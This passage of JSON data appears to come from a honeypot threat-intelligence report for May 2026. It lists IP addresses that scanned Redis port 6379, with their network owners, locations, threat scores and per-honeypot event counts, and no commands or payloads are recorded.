        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:40:35.306000+00:00",
        "last_seen_30d": "2026-05-31T18:14:02.030000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91
      }
    },
    "221.226.215.154": {
      "attack_count": 6,
      "first_seen": "2026-05-07T23:05:37.000Z",
      "last_seen": "2026-05-07T23:07:17.227Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T23:07:17.227000+00:00",
        "last_seen_30d": "2026-05-07T23:07:17.227000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "47.107.161.5": {
      "attack_count": 6,
      "first_seen": "2026-05-14T15:16:59.000Z",
      "last_seen": "2026-05-14T15:18:08.145Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 5,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-14T15:16:20.438000+00:00",
        "last_seen_30d": "2026-05-18T10:14:25.287000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25
      }
    },
    "5.189.139.47": {
      "attack_count": 6,
      "first_seen": "2026-05-28T13:38:52.000Z",
      "last_seen": "2026-05-28T13:39:56.980Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-28T13:39:56.980000+00:00",
        "last_seen_30d": "2026-05-28T13:39:56.980000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "87.98.177.93": {
      "attack_count": 6,
      "first_seen": "2026-05-26T16:11:22.000Z",
      "last_seen": "2026-05-26T16:12:23.902Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-26T16:12:23.902000+00:00",
        "last_seen_30d": "2026-05-26T16:12:23.902000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "123.57.195.90": {
      "attack_count": 5,
      "first_seen": "2026-05-29T06:58:19.000Z",
      "last_seen": "2026-05-29T06:59:25.952Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-29T06:59:25.952000+00:00",
        "last_seen_30d": "2026-05-29T06:59:25.952000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "124.225.69.188": {
      "attack_count": 5,
      "first_seen": "2026-05-05T14:01:43.000Z",
      "last_seen": "2026-05-05T14:02:53.855Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-05T14:02:53.855000+00:00",
        "last_seen_30d": "2026-05-19T20:34:17.949000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "157.230.84.144": {
      "attack_count": 5,
      "first_seen": "2026-05-02T06:10:33.000Z",
      "last_seen": "2026-05-02T06:12:08.528Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T04:56:36.959000+00:00",
        "last_seen_30d": "2026-05-03T07:40:59.068000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "165.22.176.211": {
      "attack_count": 5,
      "first_seen": "2026-05-15T02:15:09.000Z",
      "last_seen": "2026-05-15T02:16:19.716Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1896,
        "days_active_30d": 1,
        "ports_targeted_30d": 1900,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T02:01:16.941000+00:00",
        "last_seen_30d": "2026-05-15T02:42:30.252000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1868,
        "Honeytrap": 28
      }
    },
    "172.232.8.247": {
      "attack_count": 5,
      "first_seen": "2026-05-16T12:59:48.000Z",
      "last_seen": "2026-05-16T13:00:57.799Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 30,
        "ports_targeted_30d": 158,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T05:26:36.432000+00:00",
        "last_seen_30d": "2026-05-31T23:10:34.216000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 172
      }
    },
    "172.236.96.130": {
      "attack_count": 5,
      "first_seen": "2026-05-04T12:52:03.000Z",
      "last_seen": "2026-05-04T12:53:08.583Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 30,
        "ports_targeted_30d": 160,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T07:59:07.320000+00:00",
        "last_seen_30d": "2026-05-31T22:46:33.920000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 172
      }
    },
    "193.163.125.17": {
      "attack_count": 5,
      "first_seen": "2026-05-10T03:44:34.000Z",
      "last_seen": "2026-05-10T03:45:36.239Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 69.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T21:31:51.020000+00:00",
        "last_seen_30d": "2026-05-31T15:36:58.466000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90
      }
    },
    "206.81.7.125": {
      "attack_count": 5,
      "first_seen": "2026-05-25T12:25:37.000Z",
      "last_seen": "2026-05-25T12:27:11.306Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-25T01:23:58.906000+00:00",
        "last_seen_30d": "2026-05-26T03:36:39.953000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "223.223.179.212": {
      "attack_count": 5,
      "first_seen": "2026-05-13T11:01:17.000Z",
      "last_seen": "2026-05-13T11:02:27.538Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 6.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 8,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-07T22:46:35.988000+00:00",
        "last_seen_30d": "2026-05-14T18:05:30.715000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13
      }
    },
    "3.131.24.55": {
      "attack_count": 5,
      "first_seen": "2026-05-13T00:57:06.000Z",
      "last_seen": "2026-05-13T00:58:09.175Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 481,
        "days_active_30d": 30,
        "ports_targeted_30d": 190,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T00:52:14.052000+00:00",
        "last_seen_30d": "2026-05-31T17:48:18.272000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 481
      }
    },
    "39.100.242.231": {
      "attack_count": 5,
      "first_seen": "2026-05-30T22:59:00.000Z",
      "last_seen": "2026-05-30T23:00:01.723Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-30T23:00:01.723000+00:00",
        "last_seen_30d": "2026-05-30T23:00:01.723000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "64.62.156.114": {
      "attack_count": 5,
      "first_seen": "2026-05-27T07:28:47.000Z",
      "last_seen": "2026-05-27T07:29:50.274Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 22,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T02:09:29.918000+00:00",
        "last_seen_30d": "2026-05-29T08:02:35.205000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 4,
        "Ciscoasa": 2
      }
    },
    "64.62.156.69": {
      "attack_count": 5,
      "first_seen": "2026-05-15T06:27:31.000Z",
      "last_seen": "2026-05-15T06:28:33.660Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 75.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 29,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:11:59+00:00",
        "last_seen_30d": "2026-05-30T08:36:57.285000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 3,
        "ElasticPot": 1,
        "H0neytr4p": 1
      }
    },
    "64.62.197.141": {
      "attack_count": 5,
      "first_seen": "2026-05-23T14:06:24.000Z",
      "last_seen": "2026-05-23T14:07:30.119Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 14,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:23:38.528000+00:00",
        "last_seen_30d": "2026-05-23T14:07:30.119000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Honeytrap": 2
      }
    },
    "66.132.195.154": {
      "attack_count": 5,
      "first_seen": "2026-05-20T11:52:14.000Z",
      "last_seen": "2026-05-20T11:53:49.846Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 28,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T16:05:54.515000+00:00",
        "last_seen_30d": "2026-05-29T00:37:48.526000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22
      }
    },
    "159.223.179.186": {
      "attack_count": 4,
      "first_seen": "2026-05-22T14:50:06.000Z",
      "last_seen": "2026-05-22T14:51:12.236Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 1923,
        "days_active_30d": 1,
        "ports_targeted_30d": 1884,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-22T09:25:55.143000+00:00",
        "last_seen_30d": "2026-05-22T15:30:12.167000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1860,
        "Honeytrap": 60,
        "ConPot": 2,
        "Sentrypeer": 1
      }
    },
    "64.62.156.25": {
      "attack_count": 4,
      "first_seen": "2026-05-05T00:11:31.000Z",
      "last_seen": "2026-05-05T00:12:34.963Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 62.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 24,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T13:40:33.634000+00:00",
        "last_seen_30d": "2026-05-26T14:44:12.639000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "147.182.193.28": {
      "attack_count": 594,
      "first_seen": "2026-05-12T16:55:29.000Z",
      "last_seen": "2026-05-18T01:00:44.139Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1895,
        "days_active_30d": 15,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-12T16:56:31.656000+00:00",
        "last_seen_30d": "2026-05-26T18:12:22.060000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1305,
        "Redishoneypot": 230,
        "Honeytrap": 194,
        "Honeyaml": 65,
        "ElasticPot": 34,
        "Heralding": 33,
        "Tanner": 20,
        "Dionaea": 6,
        "H0neytr4p": 6,
        "Cowrie": 2
      }
    },
    "18.116.101.220": {
      "attack_count": 302,
      "first_seen": "2026-05-02T03:57:37.000Z",
      "last_seen": "2026-05-12T03:01:57.882Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7191,
        "days_active_30d": 23,
        "ports_targeted_30d": 167,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:42:16+00:00",
        "last_seen_30d": "2026-05-24T12:14:49.023000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4444,
        "Honeytrap": 2281,
        "ConPot": 142,
        "Redishoneypot": 88,
        "Mailoney": 85,
        "Dionaea": 71,
        "Cowrie": 27,
        "Ipphoney": 19,
        "Honeyaml": 14,
        "Ciscoasa": 8,
        "Tanner": 7,
        "ElasticPot": 2,
        "H0neytr4p": 2,
        "CitrixHoneypot": 1
      }
    },
    "223.108.24.234": {
      "attack_count": 259,
      "first_seen": "2026-05-03T19:01:36.000Z",
      "last_seen": "2026-05-08T07:10:45.864Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:01:36+00:00",
        "last_seen_30d": "2026-05-08T07:10:45.864000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 81,
        "Suricata": 30
      }
    },
    "130.94.95.190": {
      "attack_count": 135,
      "first_seen": "2026-05-13T09:01:53.000Z",
      "last_seen": "2026-05-21T09:41:59.848Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 154177,
      "as_org": "LIGHT NODE LIMITED",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:01:53+00:00",
        "last_seen_30d": "2026-05-21T09:41:59.848000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 58,
        "Suricata": 12
      }
    },
    "5.78.92.248": {
      "attack_count": 87,
      "first_seen": "2026-05-02T15:27:41.000Z",
      "last_seen": "2026-05-29T08:57:48.643Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 212317,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 39.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T15:29:15.776000+00:00",
        "last_seen_30d": "2026-05-29T08:57:48.643000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17
      }
    },
    "146.19.173.121": {
      "attack_count": 84,
      "first_seen": "2026-05-23T10:27:13.000Z",
      "last_seen": "2026-05-24T01:44:06.643Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 213373,
      "as_org": "IP Connect Inc",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 2535,
        "days_active_30d": 2,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-23T04:18:40+00:00",
        "last_seen_30d": "2026-05-24T07:46:39.960000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1603,
        "Honeytrap": 897,
        "Redishoneypot": 33,
        "Dionaea": 2
      }
    },
    "106.13.124.241": {
      "attack_count": 64,
      "first_seen": "2026-05-06T07:46:06.000Z",
      "last_seen": "2026-05-27T18:33:59.218Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T07:47:11.457000+00:00",
        "last_seen_30d": "2026-05-27T18:33:59.218000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "223.76.108.98": {
      "attack_count": 62,
      "first_seen": "2026-05-03T14:19:29.000Z",
      "last_seen": "2026-05-30T05:57:30.263Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 47.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:19:29+00:00",
        "last_seen_30d": "2026-05-30T05:57:30.263000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 7
      }
    },
    "94.102.49.155": {
      "attack_count": 61,
      "first_seen": "2026-05-02T08:31:23.000Z",
      "last_seen": "2026-05-06T10:08:11.500Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 93.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 30,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T08:31:24+00:00",
        "last_seen_30d": "2026-05-31T23:00:16.117000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Cowrie": 36,
        "Honeytrap": 29,
        "Redishoneypot": 18,
        "Dionaea": 9,
        "ElasticPot": 5
      }
    },
    "103.221.220.169": {
      "attack_count": 50,
      "first_seen": "2026-05-02T09:29:29.000Z",
      "last_seen": "2026-05-31T14:37:24.418Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
